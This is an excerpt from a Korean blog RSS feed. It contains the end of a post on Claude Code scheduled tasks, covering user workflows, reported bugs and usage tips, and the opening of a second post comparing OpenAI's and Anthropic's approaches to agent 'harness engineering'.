  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 반응&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;실사례 ①
      &amp;mdash; 미팅 준비 자동화 (Khe Hy, Substack)&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;생산성 작가 Khe Hy가 Substack에 공개한 워크플로: 매일 아침 Google Calendar를 스캔해
      당일 미팅 참석자의 LinkedIn 배경을 조사하고, Gmail 커넥터로 과거 이메일 이력을 끌어와, Granola 커넥터에서 이전 통화 요약을 추출한 뒤, 시각적 구분선이 포함된 Slack 브리핑으로
      통합 전송한다. (출처: &lt;a href=&quot;https://khemaridh.substack.com/p/claude-can-now-run-scheduled-tasks&quot; target=&quot;_blank&quot;
        rel=&quot;noopener&quot;&gt;Khe Hy Substack, 2026-02&lt;/a&gt;)&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #e8f4f8; padding: 12px 15px; border-radius: 8px; font-size: 14px; color: #1a3a52; margin-top: 8px;&quot;&gt;
      &lt;b&gt;핵심:&lt;/b&gt; 비개발자도 Gmail, Google Calendar, Slack MCP 커넥터만 연결하면 수십 분짜리 미팅 준비 작업을 완전 자동화할 수 있다. 단, &lt;b&gt;컴퓨터가 켜진 상태여야
        Desktop 태스크가 실행&lt;/b&gt;된다는 점은 주의.
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;실사례 ②
      &amp;mdash; 스마트폰으로 지시 &amp;rarr; 데스크탑이 일함 (@mikefutia, X)&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;X 사용자 @mikefutia가 공개한 DTC 브랜드 자동화: &lt;i&gt;&quot;스마트폰으로 Claude에게 작업을 보내면
        &amp;rarr; 내 데스크탑에서 전체 워크플로를 실행하고 &amp;rarr; 돌아왔을 때 완성된 파일이 있다.&quot;&lt;/i&gt; 경쟁사 분석, 크리에이티브 브리프, 주간 리포트를 스마트폰에서 트리거해 데스크탑이 처리하는
      방식이다.&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #e8f4f8; padding: 12px 15px; border-radius: 8px; font-size: 14px; color: #1a3a52; margin-top: 8px;&quot;&gt;
      &lt;b&gt;핵심:&lt;/b&gt; Desktop 태스크 + 자연어 프롬프트의 조합으로 코딩 없이 비즈니스 자동화 에이전트를 구성할 수 있다.
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;실사례 ③
      &amp;mdash; 개발자 팀의 야간 CI 트리아지 (Plain English, 2026-03)&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 개발팀이 Cloud 스케줄 태스크를 야간에 돌려 CI 실패를 분석하고 아침 스탠드업 전에 수정 제안 초안을
      준비한다. 또한 주간 PR 스윕 에이전트로 새 코드를 자동 리뷰하고 아키텍처 기준을 확인하며, 보안 감사(토큰 노출, 오래된 의존성)도 예약 실행한다. (출처: &lt;a
        href=&quot;https://plainenglish.io/artificial-intelligence/claude-code-s-scheduled-cloud-tasks-change-everything&quot;
        target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Plain English, 2026-03&lt;/a&gt;)&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;실사례 ④
      &amp;mdash; 5개 프로젝트 동시 자동화 (@Mosescreates, X)&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;X 사용자 @Mosescreates가 Cowork + 스케줄 태스크 + Projects 기능을 조합해 5개
      프로젝트를 컨텍스트 혼선 없이 동시 운영하는 방식을 공개했다. Projects 기능이 각 스케줄 태스크를 독립된 컨텍스트로 분리해 서로 영향을 주지 않는다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;실사례 ⑤
      &amp;mdash; &quot;설정 세금&quot; 제거 (thedatawriter, Substack)&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;데이터 사이언티스트 블로거가 coined한 개념: &lt;b&gt;&quot;setup tax(설정 세금)&quot;&lt;/b&gt; &amp;mdash;
      반복 작업마다 Claude에게 컨텍스트를 다시 설명하는 시간. 20분 &amp;times; 주 3회 = 매달 3시간 이상이 순수 반복 준비에 낭비된다. 스케줄 태스크로 프롬프트를 한 번 정의하면 이 세금이
      제거된다. (출처: &lt;a href=&quot;https://thedatawriter.substack.com/p/the-hidden-power-of-claude-scheduled&quot; target=&quot;_blank&quot;
        rel=&quot;noopener&quot;&gt;thedatawriter Substack, 2026-03&lt;/a&gt;)&lt;/p&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;해당 블로거가 공개한 데이터 사이언티스트 특화 사례:&lt;/p&gt;
    &lt;ul style=&quot;margin: 0 0 8px 20px; padding: 0; font-size: 14px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li&gt;매일 아침 직무 시장 스캔 (타겟 도시&amp;middot;원격/하이브리드 조건 필터, 상위 3개 매칭 + LinkedIn 인맥 추출)&lt;/li&gt;
      &lt;li&gt;월간 이력서 vs 채용공고 5개 비교 &amp;rarr; 반복 등장하는 누락 스킬 플래그&lt;/li&gt;
      &lt;li&gt;금요일 완료 vs 계획 비교 리뷰 &amp;rarr; 3주 연속 미루는 항목 자동 경보&lt;/li&gt;
      &lt;li&gt;&lt;code&gt;/loop 10m check the deployment status and tell me what changed&lt;/code&gt; &amp;mdash; 배포 모니터링&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;실사례 ⑥
      &amp;mdash; 뉴스레터 순위 경쟁 인텔리전스&amp;nbsp;&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude in Chrome으로 Reletter의 Substack 차트를 스크래핑해 상위 250개 뉴스레터를
      순위&amp;middot;이름&amp;middot;날짜&amp;middot;유무료 여부로 CSV 추출. 이어서 Cowork 태스크가 데이터셋을 처리해 &quot;가장 순위가 오른 뉴스레터&quot;, &quot;신규 진입&quot;, &quot;순위 하락&quot; 비교 리포트를
      자동 생성한다. (출처: &lt;a href=&quot;https://artificialcorner.com/p/claude-automates&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Artificial
        Corner, 2026-03&lt;/a&gt;)&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #fff3cd; border-left: 3px solid #ffc107; padding: 10px 12px; border-radius: 0 6px 6px 0; font-size: 13px; margin-top: 8px;&quot;&gt;
      &lt;b&gt;비용 주의:&lt;/b&gt; 이 블로거는 &quot;$20 Pro 플랜은 스케줄 태스크를 진지하게 쓰기엔 금방 한도에 도달한다. 무거운 워크플로엔 $100~$200 플랜이 현실적&quot;이라고 밝혔다.
      고빈도&amp;middot;고복잡도 태스크를 계획 중이라면 플랜 비용을 미리 고려해야 한다.
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;발견된 버그 &amp;amp; 주의사항 (GitHub Issues 기반, 2026-03 기준)&lt;/b&gt;&lt;br /&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;[Issue #36131] Cowork 탭을 먼저 열어야 VM이 시작된다:&lt;/b&gt; 태스크가 실행되는 실제 조건은 &quot;Cowork 탭 포커스&quot;가
        아니라 &lt;b&gt;&quot;Cowork VM(Vmmem)이 실행 중&quot;&lt;/b&gt;인 것이다. Claude Desktop 실행만으로는 VM이 자동 시작되지 않는다. 매 세션 시작 시 Cowork 탭을 한 번 열어두면 이후
        Chat 탭으로 전환해도 태스크가 정상 실행된다. (출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/36131&quot;
          target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #36131&lt;/a&gt;, 2026-03-19)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;[Issue #33586] DST 전환 시 무한 루프 + 서비스 중단:&lt;/b&gt; 2026년 3월 8~9일 일광절약시간(DST) 전환 때
        스케줄러가 무한 루프에 빠져 Anthropic이 스케줄 태스크 전체를 일시 비활성화했다. v1.1.5749 패치로 약 75분 만에 복구. 시스템적 시간대 버그(Issue #24213)가 이전부터
        존재하며 중복 이슈로 닫힌 상태다. (출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/33586&quot; target=&quot;_blank&quot;
          rel=&quot;noopener&quot;&gt;GitHub Issue #33586&lt;/a&gt;)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;[Issue #30092] 브라우저 캐시 삭제 시 태스크 전체 소실:&lt;/b&gt; 캐시를 지우거나 앱 업데이트 후 모든 스케줄 태스크와 대화 이력이
        삭제될 수 있다. 중요한 태스크 프롬프트는 외부 파일에 별도 백업 권장. (출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/30092&quot;
          target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #30092&lt;/a&gt;)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;[Issue #29022] Windows에서 &lt;code&gt;/schedule&lt;/code&gt; 스킬 주입 실패:&lt;/b&gt; Windows 환경에서
        &lt;code&gt;create_scheduled_task&lt;/code&gt; 도구가 세션 컨텍스트에 주입되지 않아 &lt;code&gt;/schedule&lt;/code&gt; 스킬이 실행되지 않는 버그가 보고됐다.
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;비밀키(Secrets) 관리:&lt;/b&gt; Cloud 태스크에서 API 키를 다룰 때 &lt;code&gt;.env&lt;/code&gt; 파일을 직접 노출하지 말고,
        Cloudflare Workers&amp;middot;Fly.io&amp;middot;Vercel 같은 엣지 프로바이더에 MCP 서버를 배포해 키를 격리하는 것이 권장된다.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;&quot;자동화 번아웃&quot; 경고:&lt;/b&gt; Khe Hy Substack 댓글에서 커뮤니티 멤버가 제기한 우려 &amp;mdash; AI 자동화 헤비유저일수록
        생산성과 번아웃이 동시에 높아지는 경향이 있으므로, 스케줄 자동화에 의도적인 한계를 설정할 것을 권고한다.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;GitHub Actions 대안:&lt;/b&gt; Gigi Sayfan(개발자)은 반복 작업에 GitHub Actions + Claude Code
        연동을 대안으로 제안했다. 더 세밀한 이벤트 트리거(push, PR 오픈 등)가 필요한 경우에 적합하다.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 9 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 결론&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks는 Claude Code를 &quot;내가 시키면 하는 도구&quot;에서 &lt;b&gt;&quot;알아서 반복하는
      동료&quot;&lt;/b&gt;로 바꾼다. X에서 수백만 뷰를 기록한 이유가 있다 &amp;mdash; 노트북을 닫아도 CI를 고치고, 문서를 업데이트하고, 다른 언어 라이브러리를 동기화하는 AI는 개발자들이 오래 원했던 것이다.
  &lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;어떤 방식을 선택할
    것인가&lt;/h3&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;추천 방식&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;노트북 꺼도 돌아가야 하는 CI/CD, 문서 업데이트&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cloud&lt;/b&gt; (&lt;code&gt;/schedule&lt;/code&gt;)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬 파일을 직접 건드려야 하는 빌드/테스트&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Desktop 로컬 태스크&lt;/b&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;지금 이 세션에서 배포 모니터링, 임시 체크&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/loop&lt;/b&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;커넥터(Slack, Linear) 연동이 필요한 자동화&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cloud&lt;/b&gt; (커넥터 포함)&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;시작해 보기&lt;/b&gt;&lt;br /&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;오늘:&lt;/b&gt; &lt;code&gt;/loop 10m check the build&lt;/code&gt;로 세션 내 반복을 경험한다.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;이번 주:&lt;/b&gt; &lt;code&gt;/schedule&lt;/code&gt;로 Cloud 태스크 하나를 만들어 본다. CI 체크나 문서 동기화 추천.&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;한 달 후:&lt;/b&gt; &lt;a href=&quot;https://claude.ai/code/scheduled&quot; target=&quot;_blank&quot;
          rel=&quot;noopener&quot;&gt;claude.ai/code/scheduled&lt;/a&gt;에서 실행 이력을 검토하고, 프롬프트를 개선한다.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 문서 (CLI /loop): &lt;a
          href=&quot;https://docs.anthropic.com/en/docs/claude-code/scheduled-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Scheduled
          Tasks&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 문서 (Cloud): &lt;a
          href=&quot;https://docs.anthropic.com/en/docs/claude-code/web-scheduled-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cloud
          Scheduled Tasks&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 문서 (Desktop): &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/desktop&quot;
          target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Desktop App&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;태스크 관리 웹: &lt;a href=&quot;https://claude.ai/code/scheduled&quot; target=&quot;_blank&quot;
          rel=&quot;noopener&quot;&gt;claude.ai/code/scheduled&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;X 원문 (@claudeai): &lt;a href=&quot;https://x.com/claudeai/status/2026720870631354429&quot;
          target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cowork Scheduled Tasks 발표&lt;/a&gt;&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;X (@noahzweben): &lt;a href=&quot;https://x.com/noahzweben/status/2035122989533163971&quot;
          target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cloud Scheduled Tasks + Go 트윈 라이브러리 사례&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>ai 업무 자동화</category>
      <category>claude code</category>
      <category>Cowork 스케줄</category>
      <category>Scheduled Tasks</category>
      <category>백그라운드 AI</category>
      <category>스케줄 태스크</category>
      <category>코딩 AI 도구</category>
      <category>클로드 스케줄러</category>
      <category>클로드 코드</category>
      <category>프롬프트 자동화</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/566</guid>
      <comments>https://goddaehee.tistory.com/566#entry566comment</comments>
      <pubDate>Fri, 27 Mar 2026 21:00:50 +0900</pubDate>
    </item>
    <item>
      <title>&amp;quot;하네스 엔지니어링&amp;quot; - AI 에이전트 시대, 코드보다 중요한 것 : OpenAI vs Anthropic 하네스 전략 비교</title>
      <link>https://goddaehee.tistory.com/565</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2424&quot; data-origin-height=&quot;1510&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/be1MVl/dJMcaa5MvbX/jPJZhSjzV6sNlkUeOh0pYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/be1MVl/dJMcaa5MvbX/jPJZhSjzV6sNlkUeOh0pYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/be1MVl/dJMcaa5MvbX/jPJZhSjzV6sNlkUeOh0pYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbe1MVl%2FdJMcaa5MvbX%2FjPJZhSjzV6sNlkUeOh0pYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2424&quot; height=&quot;1510&quot; data-origin-width=&quot;2424&quot; data-origin-height=&quot;1510&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 2월, OpenAI 엔지니어링 블로그에 &quot;Harness Engineering&quot;이라는 글이 올라왔다 (2026-02-11).&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;한 달 뒤인 2026-03-24, Anthropic도 &quot;Harness Design for Long-Running Apps&quot;를 발표했다. &lt;b&gt;AI 에이전트 시대의 양대 빅테크가 한 달 간격으로 같은 키워드의 공식 엔지니어링 블로그를 쓴 것&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;우연이 아니다. 두 회사 모두 같은 문제에 부딪혔기 때문이다 &amp;mdash; &lt;b&gt;모델이 아무리 좋아져도, 모델을 감싸는 &quot;하네스&quot;가 나쁘면 결과물이 나쁘다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 글에서는 두 원문을 깊이 분석하고, 공통점과 차이점을 비교한 뒤, 실무에서 바로 적용할 수 있는 하네스 설계 원칙을 정리한다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;왜 &quot;하네스&quot;가 2026년의 화두인가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;하네스(Harness)란 무엇인가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;OpenAI의 접근: 하네스 엔지니어링
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;0줄 수동 코드, 100만 줄 제품&lt;/li&gt;
&lt;li&gt;리포지토리 = 에이전트의 세계&lt;/li&gt;
&lt;li&gt;아키텍처 강제와 엔트로피 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Anthropic의 접근: 하네스 디자인
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GAN에서 영감받은 3-에이전트 구조&lt;/li&gt;
&lt;li&gt;주관적 품질을 점수화하기&lt;/li&gt;
&lt;li&gt;모델이 좋아지면 하네스도 바뀐다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;두 접근법 비교 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실무 적용: 하네스 설계 7원칙&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항 및 열린 질문&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;하네스 엔지니어링 &amp;mdash; 핵심 요약&lt;/b&gt;&lt;br /&gt;AI 코딩 에이전트의 성능은 모델 자체보다 &lt;b&gt;모델을 감싸는 환경(하네스)&lt;/b&gt;에 더 크게 좌우된다. OpenAI는 &quot;리포지토리 전체를 에이전트가 읽고 쓸 수 있는 세계로 설계하라&quot;고 말하고, Anthropic은 &quot;생성기와 평가기를 분리하여 품질 피드백 루프를 만들라&quot;고 말한다. 접근 방식은 다르지만 결론은 같다: &lt;b&gt;&quot;코드를 짜는 게 아니라 환경을 설계하는 것&quot;이 엔지니어의 새 역할이다.&lt;/b&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 왜 &quot;하네스&quot;가 2026년의 화두인가&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2025년까지 AI 코딩 도구의 논의는 주로 &lt;b&gt;모델 성능&lt;/b&gt;에 집중되어 있었다. &quot;GPT-5가 나오면 코딩 에이전트가 완성될 것이다&quot;, &quot;Opus 4.5가 긴 작업을 해결할 것이다&quot; &amp;mdash; 이런 식이었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 2026년 초, 양대 빅테크가 연달아 발표한 엔지니어링 블로그는 다른 메시지를 전달한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;회사&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;글 제목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;저자&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;핵심 메시지&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;OpenAI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://openai.com/index/harness-engineering/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Harness Engineering&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Ryan Lopopolo&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Humans steer. Agents execute.&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Anthropic&lt;/b&gt;&lt;/td&gt;
